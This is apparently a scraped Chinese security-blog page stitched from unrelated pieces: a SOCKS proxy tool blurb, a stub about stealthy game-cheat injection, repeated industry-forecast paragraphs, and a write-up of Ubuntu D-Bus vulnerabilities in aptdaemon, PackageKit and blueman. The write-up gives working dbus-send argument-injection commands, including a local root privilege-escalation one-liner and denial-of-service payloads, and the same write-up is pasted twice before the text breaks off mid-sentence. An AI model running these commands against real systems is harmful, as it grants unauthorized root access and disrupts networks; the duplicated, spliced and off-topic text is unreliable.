软件介绍

EarthWorm是一款用于开启 SOCKS v5 代理服务的工具,基于标准 C 开发,可提供多平台间的转接通讯,用于复杂网络环境下的数据转发。 专有主页: http://rootkiter.com/EarthWorm/

首先的首先 2021年各位新年好 这是我2021年第一篇帖子

0x0 我们要实现什么

1 启动时无驱动程序运行
2 没有线程创建时注入作弊游戏
3. 当我们完成注入时,内存中没有私有标志
它将最小化内部检测的检测向量

0x1 背景

关于COW:

系统中存在

从PC时代到移动时代,再到云、5G、边缘计算的兴起,伴随着IT环境的变化与新技术的应用,网络安全行业也在快速扩大市场边界,发展潜力被持续激发。

新年伊始,FreeBuf通过对我国网络安全行业持续的市场监测与技术调研,总结行业发展现状与变化趋势,深入探讨网络安全行业的未来发展形势。下面是FreeBuf对2021年网络安全行业做出的趋势性预测:

从PC时代到移动时代,再到云、5G、边缘计算的兴起,伴随着IT环境的变化与新技术的应用,网络安全行业也在快速扩大市场边界,发展潜力被持续激发。

新年伊始,FreeBuf通过对我国网络安全行业持续的市场监测与技术调研,总结行业发展现状与变化趋势,深入探讨网络安全行业的未来发展形势。下面是FreeBuf对2021年网络安全行业做出的趋势性预测:

Ubuntu桌面版使用D-Bus作为进程间通信(IPC)媒介。在Ubuntu系统中,总共有2类并发运行的消息总线:一类是系统(system)总线,主要由权限服务使用,用来对整个系统范围提供相关服务;另一类是每个登录用户的会话(session)总线,只对外提供与该特定用户相关的服务。由于我们的目标是提升权限,因此我们主要关注系统总线,因为相关服务会以较高权限(比如root)运行。需要注意的是,在D-Bus架构中每个会话总线都会对应一个“路由器(router)”,该路由器会将客户端消息重定向到与之交互的相关服务,客户端需要指定消息发送的服务地址,最近我决定在我的Ubuntu Desktop D-Bus中寻找一些漏洞。

D-Bus(Desktop-Bus)是一种进程间通信(IPC)和远程进程调用(RPC)机制,它允许在同一台计算机上同时运行的多个进程之间进行通信。如今,它已在许多Linux发行版中使用。

在Linux桌面环境中,我们只有一个系统总线,用于在用户进程和系统进程之间进行通信,对于每个登录会话,我们都有一个会话总线,用于在单个桌面会话中进行进程之间的通信。

由于我的目标是系统总线,系统进程打开了一个从用户区进行通信的接口,这听起来很麻烦!

寻找漏洞进程

我的第一个目标是了解D-Bus的语法,有一个优秀的交互式工具叫D-Feet,使用它会使寻找进程轻松很多。D-Feet是一个易于使用D-bus调试器,D-Feet用来检查D-bus接口的运行程序和调用接口的方法。可以显示service提供的所有对象、信号和方法,还可以通过它实现方法调用。

1.png

D-Bus规范中有明确的层次结构,对象是在D-Bus上披露自身的进程。一个对象可以实现多个接口,并且每个接口可以具有多个方法。 D-Bus使用接口为方法提供命名空间机制,接口还具有属性,这些属性是类型化变量,通常可以读取,有时也可以更改。

D-Feet显示了实现的接口和可用的方法,在后台,它使用org.freedesktop.DBus.Introspectable接口的内省方法来完成这项工作,该接口由许多对象实现。

除了D-Feet以外,与D-Bus交互的最直接方法是通过dbus-send shell命令。例如,下一条命令在org.freedesktop.DBus接口上调用ListNames方法,并生成D-Feet在左侧显示的列表。

dbus-send --system --print-reply \
  --dest=org.freedesktop.DBus \
  /org/freedesktop/DBus \
  org.freedesktop.DBus.ListNames

对我来说,处理D-Bus方法的多个交互式调用的最直观的方法是python-dbus模块,用D-Bus方法编写任何交互的脚本都很容易。

许多方法都使用PolicyKit进行保护,以确保调用用户具有执行操作的权利。你可能见过这些弹出窗口,它们是由PolicyKit保护的D-Bus方法调用的结果。

3.jpg

我最感兴趣的是任何人在不进行身份验证的情况下都可能触发的漏洞,因此我将重点放在没有使用PolicyKit保护的方法上。

Aptdaemon信息披露(CVE-2020-15703)

我发现的第一个漏洞涉及aptdaemon,在使用D-Feet内测org.apt.debian对象之后,你将在processlist中注意到一个正在运行的新进程。

/usr/bin/python3 /usr/sbin/aptd

因此,aptdaemon是用python编写的,我可以深入研究代码,但这个进程太复杂,我只想知道后台发生了什么系统调用,所以我在进程上生成了一个痕迹。

strace -s 65535 -f -p

我开始尝试使用一些方法并输入垃圾内容,其中一个特别有趣的方法是InstallFile方法。它需要两个参数,即要安装的软件包的文件路径和布尔值。如果调用该方法,aptdaemon将创建一个名为transaction的D-Bus对象,该对象将披露例如Simulate()和Run()等新方法。它还有几个可写的属性。我们可以通过某种方式模拟安装.deb软件包文件,编写了一个简单的python脚本进行实验。

import dbusbus = dbus.SystemBus()

apt_dbus_object = bus.get_object("org.debian.apt", "/org/debian/apt")
apt_dbus_interface = dbus.Interface(apt_dbus_object, "org.debian.apt")  

# just use any valid .deb filetrans = apt_dbus_interface.InstallFile("/var/cache/apt/archives/dbus_1.12.16-2ubuntu2.1_amd64.deb", False)
apt_trans_dbus_object = bus.get_object("org.debian.apt", trans)

apt_trans_dbus_interface = dbus.Interface(apt_trans_dbus_object, "org.debian.apt.transaction")

apt_trans_dbus_interface.Simulate()

事实证明,这完全没用。实际安装.deb文件的Run()方法需要授权,但是,在进行测试时,我注意到locale属性,可以将其设置如下。

properties_manager = dbus.Interface(apt_trans_dbus_interface, 'org.freedesktop.DBus.Properties')
properties_manager.Set("org.debian.apt.transaction", "Locale", "AAAA")

这会导致以下错误消息。

Traceback (most recent call last):

  File "/usr/lib/python3/dist-packages/defer/__init__.py", line 487, in _inline_callbacks
    result = gen.send(result)
  File "/usr/lib/python3/dist-packages/aptdaemon/core.py", line 1226, in _set_property
    self._set_locale(value)
  File "/usr/lib/python3/dist-packages/aptdaemon/core.py", line 826, in _set_locale
    (lang, encoding) = locale._parse_localename(str(locale_str))
  File "/usr/lib/python3.8/locale.py", line 499, in _parse_localename
    raise ValueError('unknown locale: %s' % localename)
ValueError: unknown locale: AAAA

在locale名称中_parse_localename方法主要用于检查是否存在"." ,以下调用成功。

properties_manager.Set("org.debian.apt.transaction", "Locale", "AA.BB")

我在以上留下的痕迹输出中发现了一些有趣的内容。

[pid 23275] stat("/usr/share/locale/AA/LC_MESSAGES/aptdaemon.mo", 0x7ffe616b0740) = -1 ENOENT (No such file or directory)

我将值更改为 "/tmp.BB":

[pid 23275] stat("/tmp/LC_MESSAGES/aptdaemon.mo", 0x7ffe616b0740) = -1 ENOENT (No such file or directory)

看起来我可以让它读取任何。mo locale文件。我花了几个小时颠倒.mo格式,现在可以告诉你生成它的.po格式的所有结构,但我无法让它做任何有趣的事情。

然后我意识到我可以建立一个名为/tmp/LC_MESSAGES/aptdaemon.mo的符号链接,并将其指向文件系统上的任何文件,例如"/root/.bashrc"。

ln -s /root/.bashrc /tmp/LC_MESSAGES/aptdaemon.mo

这导致了另一个漏洞。

OSError: [Errno 0] Bad magic number: '/tmp/LC_MESSAGES/aptdaemon.mo'

但是它透露了我不应该知道的信息,比如文件系统上是否存在任何文件,例如在/root中,没有权限的用户不应该查看这些文件,虽然危害很小,但也是一个漏洞。

PackageKit信息披露(CVE-2020-16121)

PackageKit是一款以方便Linux软件安装与升级为目的的系统,其设计初衷是在不同的Linux发布版中统一软件图形工具。我也在PackageKit中发现了一个类似的漏洞,经过aptdaemon后,这个程序会立即弹出。packagekit对象上的org.freedesktop.PackageKit接口有一个方法CreateTransaction()。这将创建一个Transaction对象,该对象具有InstallFiles()、GetFilesLocal()和GetDetailsLocal()方法,所有方法都将一个文件路径列表作为它们的参数。

同样,这使我们能够确定文件系统上是否存在任何文件,但是这一次,如果文件存在,我们还会得到一个披露MIME类型的错误消息。

用一个简单的python脚本就可以演示这一点。

import dbusbus = dbus.SystemBus()

apt_dbus_object = bus.get_object("org.freedesktop.PackageKit", "/org/freedesktop/PackageKit")
apt_dbus_interface = dbus.Interface(apt_dbus_object, "org.freedesktop.PackageKit")  

trans = apt_dbus_interface.CreateTransaction()

apt_trans_dbus_object = bus.get_object("org.freedesktop.PackageKit", trans)
apt_trans_dbus_interface = dbus.Interface(apt_trans_dbus_object, "org.freedesktop.PackageKit.Transaction")

apt_trans_dbus_interface.InstallFiles(0, ["/root/.bashrc"])

这将导致错误消息:不支持MIME类型文本/纯文本。

Blueman本地权限升级或拒绝服务(CVE-2020-15238)

这个漏洞更有趣一些,这是我在使用org.blueman.Mechanism接口的D-Bus方法时发现的,从未有人要求我进行授权,我意识到这将是一个有趣的目标。

该软件包的开发者后来确认Debian软件包确实存在漏洞:它仅建议使用policykit-1,但blueman不支持“运行时可选” Polkit-1支持。你必须在构建期间决定,因为libpolkit-agent-1-dev不是构建依赖项,所以Polkit-1支持总是被禁用的。顺便说一句,开发人员立即推出了一个补丁,同时还协调了Ubuntu和Debian安全团队之间的发布日期。

DhcpClient()方法很快引起了我的注意。它需要一个字符串作为参数。让我们通过痕迹信息看看后台发送了哪些系统调用。我使用这个oneliner启动守护进程,并将一个痕迹进程附加到它上面,这样就不必太担心它的活动时间或PID很短。

dbus-send --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.freedesktop.DBus.Introspectable.Introspect && \
  strace -f -s 65535 -e execve -p \
  $(pgrep -f blueman-mechanism)

然后我开始了我的第一个测试。

dbus-send --print-reply --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.blueman.Mechanism.DhcpClient \
  string:"AAAA"

strace进程有很多输出,但是对“execve”的过滤提供了一个非常有趣的观察结果。

[pid 30096] execve("/usr/sbin/dhclient", ["/usr/sbin/dhclient", "-e", "IF_METRIC=100", "-1", "AAAA"], 0x7ffd6facb700 /* 4 vars */) = 0
[pid 30104] execve("/sbin/dhclient-script", ["/sbin/dhclient-script"], 0x55c8e9ae11e0 /* 6 vars */) = 0
[pid 30105] execve("/usr/bin/run-parts", ["run-parts", "--list", "/etc/dhcp/dhclient-enter-hooks.d"], 0x556ae347a3c8 /* 12 vars */) = 0
[pid 30106] execve("/usr/sbin/avahi-autoipd", ["/usr/sbin/avahi-autoipd", "-c", "AAAA"], 0x556ae347acf0 /* 12 vars */) = 0
[pid 30107] execve("/usr/sbin/ip", ["ip", "link", "set", "dev", "AAAA", "up"], 0x556ae3483178 /* 12 vars */) = 0
[pid 30110] execve("/usr/bin/run-parts", ["run-parts", "--list", "/etc/dhcp/dhclient-exit-hooks.d"], 0x556ae34824d8 /* 12 vars */) = 0

可以看到有很多执行是在后台进行的,似乎我的参数被用作dhclient, avahi-autopid和ip的参数。接下来我深入研究了dhclient手册,看看是否有任何我可以使用的有趣的参数。下面的内容应该引起你的注意:

   -sf script-file
              Path  to  the  network  configuration script invoked by dhclient when it gets a lease.  If unspecified, the default /sbin/dhclient-script is used.  See dhclient-script(8) for a description of
              this file.

实际上,如果我以root身份运行命令“dhclient -sf /tmp/eye”,dhclient会在后台开始运行,请求一个新的DHCP lease,最后运行shell脚本“/tmp/eye”。让我们看看如果我们用我们的blueman机制方法来尝试会发生什么。

dbus-send --print-reply --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.blueman.Mechanism.DhcpClient \
  string:"-sf /tmp/eye"

结果失败了,让我们看看这是为什么,从痕迹输出结果中,我们注意到以下内容。

[pid 30541] execve("/usr/sbin/dhclient", ["/usr/sbin/dhclient", "-e", "IF_METRIC=100", "-1", "-sf /tmp/eye"], 0x7ffe012977c0 /* 4 vars */ ...
[pid 30542] sendto(3, "Oct 26 10:40:46 dhclient[30542]: Unknown command: -sf /tmp/x", 64, MSG_NOSIGNAL, NULL, 0) = 64
...
[pid 30542] sendto(3, "Oct 26 10:40:46 dhclient[30542]: Usage: dhclient [-4|-6] [-SNTPRI1dvrxi] [-nw] [-p ] [-D LL|LLT]\n                [--dad-wait-time ] [--prefix-len-hint ]\n                [--decline-wait-time ]\n                [--address-prefix-len ]\n                [-s server-addr] [-cf config-file]\n                [-df duid-file] [-lf lease-file]\n                [-pf pid-file] [--no-pid] [-e VAR=val]\n

dhclient二进制文件具有解析参数的非常特定的方式,并且正如我们所看到的,“-sf / tmp / eye”参数被解析为不存在的单个标志。一些二进制文件将允许“-sf = / tmp / eye”或“-sf / tmp / eye”,但由于dhclient的处理,我在这里节省了一天的时间,否则这将是一个非常严重的错误。

现在让我们看看是否可以将其注入到ip命令的参数中。

dbus-send --print-reply --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.blueman.Mechanism.DhcpClient \
  string:"ens33 down"

可以看到dhclient命令运行不畅,但是执行继续进行。

[pid 30687] sendto(3, "Oct 26 10:46:05 dhclient[30687]: Error getting hardware address for \"ens33 down\": No such device", 100, MSG_NOSIGNAL, NULL, 0) = 100

这里我们看到了对ip命令的注入,这一次,我们的参数被分割成多个参数,因此我们可以对ip命令的参数进行更多的讨论。

[pid 30694] execve("/usr/sbin/ip", ["ip", "link", "set", "dev", "ens33", "down", "up"], 0x55d963cbd180 /* 12 vars */

这实际上是一个有效的语法,并且接口保持不变。现在,如何解决增加的漏洞?

dbus-send --print-reply --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.blueman.Mechanism.DhcpClient \
  string:"ens33 down alias"
[pid 30752] sendto(3, "Oct 26 10:51:50 dhclient[30752]: ens33 down alias: interface name too long (is 16)", 86, MSG_NOSIGNAL, NULL, 0strace: Process 30755 attached

此漏洞导致dhclient退出并带有不同的返回码,并且执行流程未到达ip命令。因此,此处限制为15个字符。但ip也接受shorthand版本,所以al是alias的别名。属性简写(shorthand)就是一次性声明一组相关的属性。好处呢当然是众所周知的,让css从臃肿无序升级为简洁有效具有高可读性。

dbus-send --print-reply --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.blueman.Mechanism.DhcpClient \
  string:"ens33 down al"
[pid 30888] execve("/usr/sbin/ip", ["ip", "link", "set", "dev", "ens33", "down", "al", "up"], 0x55c24f67f188 /* 12 vars */) = 0

这确实使接口失效,并为ens33创建了别名。这是一个DoS漏洞,因为任何低特权用户都可以触发此漏洞,让我们看看是否可以找到ip命令的其他有趣参数。

通过ip链接手册得到的结果如下。

 xdp object | pinned | off
              set (or unset) a XDP ("eXpress Data Path") BPF program to run on every packet at driver level.  ip link output will indicate a xdp flag for the networking device. If the driver does not have
              native XDP support, the kernel will fall back to a slower, driver-independent "generic" XDP variant. The ip link output will in that case indicate xdpgeneric instead of xdp only. If the
              driver does have native XDP support, but the program is loaded under xdpgeneric object | pinned then the kernel will use the generic XDP variant instead of the native one.  xdpdrv has the op‐
              posite effect of requestsing that the automatic fallback to the generic XDP variant be disabled and in case driver is not XDP-capable error should be returned.  xdpdrv also disables hardware
              offloads.  xdpoffload in ip link output indicates that the program has been offloaded to hardware and can also be used to request the "offload" mode, much like xdpgeneric it forces program to
              be installed specifically in HW/FW of the apater.

              object FILE - Attaches a XDP/BPF program to the given device. The FILE points to a BPF ELF file (f.e. generated by LLVM) that contains the BPF program code, map specifications, etc. If a
              XDP/BPF program is already attached to the given device, an error will be thrown. If no XDP/BPF program is currently attached, the device supports XDP and the program from the BPF ELF file
              passes the kernel verifier, then it will be attached to the device. If the option -force is passed to ip then any prior attached XDP/BPF program will be atomically overridden and no error
              will be thrown in this case. If no section option is passed, then the default section name ("prog") will be assumed, otherwise the provided section name will be used. If no verbose option is
              passed, then a verifier log will only be dumped on load error.  See also EXAMPLES section for usage examples.

因此,我可以将XDP对象附加到任何接口。那将需要超过15个字符。如何降低它?让我们先重命名接口!

dbus-send --print-reply --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.blueman.Mechanism.DhcpClient \
  string:"ens33 down al"dbus-send --print-reply --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.blueman.Mechanism.DhcpClient \
  string:"ens33 name a"dbus-send --print-reply --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.blueman.Mechanism.DhcpClient \
  string:"a xdp o /tmp/o"

现在我们可以将XDP对象附加到任何接口,从而可以更深入地研究XDP和eBPF是如何工作的,以及是否存在与我现在可以将此类对象附加到任何接口有关的任何安全漏洞。

最后,我发现blueman还支持其他DHCP客户端。来自blueman代码如下:

COMMANDS = [
    ["dhclient", "-e", "IF_METRIC=100", "-1"],
    ["dhcpcd", "-m", "100"],
    ["udhcpc", "-t", "20", "-x", "hostname", socket.gethostname(), "-n", "-i"]
]for command in self.COMMANDS:
    path = have(command[0])    if path:        self._command = [path] + command[1:] + [self._interface]

因此,如果dhclient不可用,但是dhcpcd可用,则我们还有另一种可能性来执行代码。对于我们而言,幸运的是,dhcpcd也具有运行脚本的能力,并且在参数格式上没有那么挑剔。这给我们留下了一个本地权限升级oneliner,它可以在任何具有dhcpcd而不是dhclient的Ubuntu或Debian系统上运行。

dbus-send --print-reply --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.blueman.Mechanism.DhcpClient \
  string:"-c/tmp/eye"

任何没有权限的用户都可以运行此命令,并且在shellscript /tmp/eye中的任何代码都将以root身份运行!

Ubuntu桌面版使用D-Bus作为进程间通信(IPC)媒介。在Ubuntu系统中,总共有2类并发运行的消息总线:一类是系统(system)总线,主要由权限服务使用,用来对整个系统范围提供相关服务;另一类是每个登录用户的会话(session)总线,只对外提供与该特定用户相关的服务。由于我们的目标是提升权限,因此我们主要关注系统总线,因为相关服务会以较高权限(比如root)运行。需要注意的是,在D-Bus架构中每个会话总线都会对应一个“路由器(router)”,该路由器会将客户端消息重定向到与之交互的相关服务,客户端需要指定消息发送的服务地址,最近我决定在我的Ubuntu Desktop D-Bus中寻找一些漏洞。

D-Bus(Desktop-Bus)是一种进程间通信(IPC)和远程进程调用(RPC)机制,它允许在同一台计算机上同时运行的多个进程之间进行通信。如今,它已在许多Linux发行版中使用。

在Linux桌面环境中,我们只有一个系统总线,用于在用户进程和系统进程之间进行通信,对于每个登录会话,我们都有一个会话总线,用于在单个桌面会话中进行进程之间的通信。

由于我的目标是系统总线,系统进程打开了一个从用户区进行通信的接口,这听起来很麻烦!

寻找漏洞进程

我的第一个目标是了解D-Bus的语法,有一个优秀的交互式工具叫D-Feet,使用它会使寻找进程轻松很多。D-Feet是一个易于使用D-bus调试器,D-Feet用来检查D-bus接口的运行程序和调用接口的方法。可以显示service提供的所有对象、信号和方法,还可以通过它实现方法调用。

1.png

D-Bus规范中有明确的层次结构,对象是在D-Bus上披露自身的进程。一个对象可以实现多个接口,并且每个接口可以具有多个方法。 D-Bus使用接口为方法提供命名空间机制,接口还具有属性,这些属性是类型化变量,通常可以读取,有时也可以更改。

D-Feet显示了实现的接口和可用的方法,在后台,它使用org.freedesktop.DBus.Introspectable接口的内省方法来完成这项工作,该接口由许多对象实现。

除了D-Feet以外,与D-Bus交互的最直接方法是通过dbus-send shell命令。例如,下一条命令在org.freedesktop.DBus接口上调用ListNames方法,并生成D-Feet在左侧显示的列表。

dbus-send --system --print-reply \
  --dest=org.freedesktop.DBus \
  /org/freedesktop/DBus \
  org.freedesktop.DBus.ListNames

对我来说,处理D-Bus方法的多个交互式调用的最直观的方法是python-dbus模块,用D-Bus方法编写任何交互的脚本都很容易。

许多方法都使用PolicyKit进行保护,以确保调用用户具有执行操作的权利。你可能见过这些弹出窗口,它们是由PolicyKit保护的D-Bus方法调用的结果。

3.jpg

我最感兴趣的是任何人在不进行身份验证的情况下都可能触发的漏洞,因此我将重点放在没有使用PolicyKit保护的方法上。

Aptdaemon信息披露(CVE-2020-15703)

我发现的第一个漏洞涉及aptdaemon,在使用D-Feet内测org.apt.debian对象之后,你将在processlist中注意到一个正在运行的新进程。

/usr/bin/python3 /usr/sbin/aptd

因此,aptdaemon是用python编写的,我可以深入研究代码,但这个进程太复杂,我只想知道后台发生了什么系统调用,所以我在进程上生成了一个痕迹。

strace -s 65535 -f -p

我开始尝试使用一些方法并输入垃圾内容,其中一个特别有趣的方法是InstallFile方法。它需要两个参数,即要安装的软件包的文件路径和布尔值。如果调用该方法,aptdaemon将创建一个名为transaction的D-Bus对象,该对象将披露例如Simulate()和Run()等新方法。它还有几个可写的属性。我们可以通过某种方式模拟安装.deb软件包文件,编写了一个简单的python脚本进行实验。

import dbusbus = dbus.SystemBus()

apt_dbus_object = bus.get_object("org.debian.apt", "/org/debian/apt")
apt_dbus_interface = dbus.Interface(apt_dbus_object, "org.debian.apt")  

# just use any valid .deb filetrans = apt_dbus_interface.InstallFile("/var/cache/apt/archives/dbus_1.12.16-2ubuntu2.1_amd64.deb", False)
apt_trans_dbus_object = bus.get_object("org.debian.apt", trans)

apt_trans_dbus_interface = dbus.Interface(apt_trans_dbus_object, "org.debian.apt.transaction")

apt_trans_dbus_interface.Simulate()

事实证明,这完全没用。实际安装.deb文件的Run()方法需要授权,但是,在进行测试时,我注意到locale属性,可以将其设置如下。

properties_manager = dbus.Interface(apt_trans_dbus_interface, 'org.freedesktop.DBus.Properties')
properties_manager.Set("org.debian.apt.transaction", "Locale", "AAAA")

这会导致以下错误消息。

Traceback (most recent call last):

  File "/usr/lib/python3/dist-packages/defer/__init__.py", line 487, in _inline_callbacks
    result = gen.send(result)
  File "/usr/lib/python3/dist-packages/aptdaemon/core.py", line 1226, in _set_property
    self._set_locale(value)
  File "/usr/lib/python3/dist-packages/aptdaemon/core.py", line 826, in _set_locale
    (lang, encoding) = locale._parse_localename(str(locale_str))
  File "/usr/lib/python3.8/locale.py", line 499, in _parse_localename
    raise ValueError('unknown locale: %s' % localename)
ValueError: unknown locale: AAAA

在locale名称中_parse_localename方法主要用于检查是否存在"." ,以下调用成功。

properties_manager.Set("org.debian.apt.transaction", "Locale", "AA.BB")

我在以上留下的痕迹输出中发现了一些有趣的内容。

[pid 23275] stat("/usr/share/locale/AA/LC_MESSAGES/aptdaemon.mo", 0x7ffe616b0740) = -1 ENOENT (No such file or directory)

我将值更改为 "/tmp.BB":

[pid 23275] stat("/tmp/LC_MESSAGES/aptdaemon.mo", 0x7ffe616b0740) = -1 ENOENT (No such file or directory)

看起来我可以让它读取任何。mo locale文件。我花了几个小时颠倒.mo格式,现在可以告诉你生成它的.po格式的所有结构,但我无法让它做任何有趣的事情。

然后我意识到我可以建立一个名为/tmp/LC_MESSAGES/aptdaemon.mo的符号链接,并将其指向文件系统上的任何文件,例如"/root/.bashrc"。

ln -s /root/.bashrc /tmp/LC_MESSAGES/aptdaemon.mo

这导致了另一个漏洞。

OSError: [Errno 0] Bad magic number: '/tmp/LC_MESSAGES/aptdaemon.mo'

但是它透露了我不应该知道的信息,比如文件系统上是否存在任何文件,例如在/root中,没有权限的用户不应该查看这些文件,虽然危害很小,但也是一个漏洞。

PackageKit信息披露(CVE-2020-16121)

PackageKit是一款以方便Linux软件安装与升级为目的的系统,其设计初衷是在不同的Linux发布版中统一软件图形工具。我也在PackageKit中发现了一个类似的漏洞,经过aptdaemon后,这个程序会立即弹出。packagekit对象上的org.freedesktop.PackageKit接口有一个方法CreateTransaction()。这将创建一个Transaction对象,该对象具有InstallFiles()、GetFilesLocal()和GetDetailsLocal()方法,所有方法都将一个文件路径列表作为它们的参数。

同样,这使我们能够确定文件系统上是否存在任何文件,但是这一次,如果文件存在,我们还会得到一个披露MIME类型的错误消息。

用一个简单的python脚本就可以演示这一点。

import dbusbus = dbus.SystemBus()

apt_dbus_object = bus.get_object("org.freedesktop.PackageKit", "/org/freedesktop/PackageKit")
apt_dbus_interface = dbus.Interface(apt_dbus_object, "org.freedesktop.PackageKit")  

trans = apt_dbus_interface.CreateTransaction()

apt_trans_dbus_object = bus.get_object("org.freedesktop.PackageKit", trans)
apt_trans_dbus_interface = dbus.Interface(apt_trans_dbus_object, "org.freedesktop.PackageKit.Transaction")

apt_trans_dbus_interface.InstallFiles(0, ["/root/.bashrc"])

这将导致错误消息:不支持MIME类型文本/纯文本。

Blueman本地权限升级或拒绝服务(CVE-2020-15238)

这个漏洞更有趣一些,这是我在使用org.blueman.Mechanism接口的D-Bus方法时发现的,从未有人要求我进行授权,我意识到这将是一个有趣的目标。

该软件包的开发者后来确认Debian软件包确实存在漏洞:它仅建议使用policykit-1,但blueman不支持“运行时可选” Polkit-1支持。你必须在构建期间决定,因为libpolkit-agent-1-dev不是构建依赖项,所以Polkit-1支持总是被禁用的。顺便说一句,开发人员立即推出了一个补丁,同时还协调了Ubuntu和Debian安全团队之间的发布日期。

DhcpClient()方法很快引起了我的注意。它需要一个字符串作为参数。让我们通过痕迹信息看看后台发送了哪些系统调用。我使用这个oneliner启动守护进程,并将一个痕迹进程附加到它上面,这样就不必太担心它的活动时间或PID很短。

dbus-send --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.freedesktop.DBus.Introspectable.Introspect && \
  strace -f -s 65535 -e execve -p \
  $(pgrep -f blueman-mechanism)

然后我开始了我的第一个测试。

dbus-send --print-reply --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.blueman.Mechanism.DhcpClient \
  string:"AAAA"

strace进程有很多输出,但是对“execve”的过滤提供了一个非常有趣的观察结果。

[pid 30096] execve("/usr/sbin/dhclient", ["/usr/sbin/dhclient", "-e", "IF_METRIC=100", "-1", "AAAA"], 0x7ffd6facb700 /* 4 vars */) = 0
[pid 30104] execve("/sbin/dhclient-script", ["/sbin/dhclient-script"], 0x55c8e9ae11e0 /* 6 vars */) = 0
[pid 30105] execve("/usr/bin/run-parts", ["run-parts", "--list", "/etc/dhcp/dhclient-enter-hooks.d"], 0x556ae347a3c8 /* 12 vars */) = 0
[pid 30106] execve("/usr/sbin/avahi-autoipd", ["/usr/sbin/avahi-autoipd", "-c", "AAAA"], 0x556ae347acf0 /* 12 vars */) = 0
[pid 30107] execve("/usr/sbin/ip", ["ip", "link", "set", "dev", "AAAA", "up"], 0x556ae3483178 /* 12 vars */) = 0
[pid 30110] execve("/usr/bin/run-parts", ["run-parts", "--list", "/etc/dhcp/dhclient-exit-hooks.d"], 0x556ae34824d8 /* 12 vars */) = 0

可以看到有很多执行是在后台进行的,似乎我的参数被用作dhclient, avahi-autopid和ip的参数。接下来我深入研究了dhclient手册,看看是否有任何我可以使用的有趣的参数。下面的内容应该引起你的注意:

   -sf script-file
              Path  to  the  network  configuration script invoked by dhclient when it gets a lease.  If unspecified, the default /sbin/dhclient-script is used.  See dhclient-script(8) for a description of
              this file.

实际上,如果我以root身份运行命令“dhclient -sf /tmp/eye”,dhclient会在后台开始运行,请求一个新的DHCP lease,最后运行shell脚本“/tmp/eye”。让我们看看如果我们用我们的blueman机制方法来尝试会发生什么。

dbus-send --print-reply --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.blueman.Mechanism.DhcpClient \
  string:"-sf /tmp/eye"

结果失败了,让我们看看这是为什么,从痕迹输出结果中,我们注意到以下内容。

[pid 30541] execve("/usr/sbin/dhclient", ["/usr/sbin/dhclient", "-e", "IF_METRIC=100", "-1", "-sf /tmp/eye"], 0x7ffe012977c0 /* 4 vars */ ...
[pid 30542] sendto(3, "Oct 26 10:40:46 dhclient[30542]: Unknown command: -sf /tmp/x", 64, MSG_NOSIGNAL, NULL, 0) = 64
...
[pid 30542] sendto(3, "Oct 26 10:40:46 dhclient[30542]: Usage: dhclient [-4|-6] [-SNTPRI1dvrxi] [-nw] [-p ] [-D LL|LLT]\n                [--dad-wait-time ] [--prefix-len-hint ]\n                [--decline-wait-time ]\n                [--address-prefix-len ]\n                [-s server-addr] [-cf config-file]\n                [-df duid-file] [-lf lease-file]\n                [-pf pid-file] [--no-pid] [-e VAR=val]\n

dhclient二进制文件具有解析参数的非常特定的方式,并且正如我们所看到的,“-sf / tmp / eye”参数被解析为不存在的单个标志。一些二进制文件将允许“-sf = / tmp / eye”或“-sf / tmp / eye”,但由于dhclient的处理,我在这里节省了一天的时间,否则这将是一个非常严重的错误。

现在让我们看看是否可以将其注入到ip命令的参数中。

dbus-send --print-reply --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.blueman.Mechanism.DhcpClient \
  string:"ens33 down"

可以看到dhclient命令运行不畅,但是执行继续进行。

[pid 30687] sendto(3, "Oct 26 10:46:05 dhclient[30687]: Error getting hardware address for \"ens33 down\": No such device", 100, MSG_NOSIGNAL, NULL, 0) = 100

这里我们看到了对ip命令的注入,这一次,我们的参数被分割成多个参数,因此我们可以对ip命令的参数进行更多的讨论。

[pid 30694] execve("/usr/sbin/ip", ["ip", "link", "set", "dev", "ens33", "down", "up"], 0x55d963cbd180 /* 12 vars */

这实际上是一个有效的语法,并且接口保持不变。现在,如何解决增加的漏洞?

dbus-send --print-reply --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.blueman.Mechanism.DhcpClient \
  string:"ens33 down alias"
[pid 30752] sendto(3, "Oct 26 10:51:50 dhclient[30752]: ens33 down alias: interface name too long (is 16)", 86, MSG_NOSIGNAL, NULL, 0strace: Process 30755 attached

此漏洞导致dhclient退出并带有不同的返回码,并且执行流程未到达ip命令。因此,此处限制为15个字符。但ip也接受shorthand版本,所以al是alias的别名。属性简写(shorthand)就是一次性声明一组相关的属性。好处呢当然是众所周知的,让css从臃肿无序升级为简洁有效具有高可读性。

dbus-send --print-reply --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.blueman.Mechanism.DhcpClient \
  string:"ens33 down al"
[pid 30888] execve("/usr/sbin/ip", ["ip", "link", "set", "dev", "ens33", "down", "al", "up"], 0x55c24f67f188 /* 12 vars */) = 0

这确实使接口失效,并为ens33创建了别名。这是一个DoS漏洞,因为任何低特权用户都可以触发此漏洞,让我们看看是否可以找到ip命令的其他有趣参数。

通过ip链接手册得到的结果如下。

 xdp object | pinned | off
              set (or unset) a XDP ("eXpress Data Path") BPF program to run on every packet at driver level.  ip link output will indicate a xdp flag for the networking device. If the driver does not have
              native XDP support, the kernel will fall back to a slower, driver-independent "generic" XDP variant. The ip link output will in that case indicate xdpgeneric instead of xdp only. If the
              driver does have native XDP support, but the program is loaded under xdpgeneric object | pinned then the kernel will use the generic XDP variant instead of the native one.  xdpdrv has the op‐
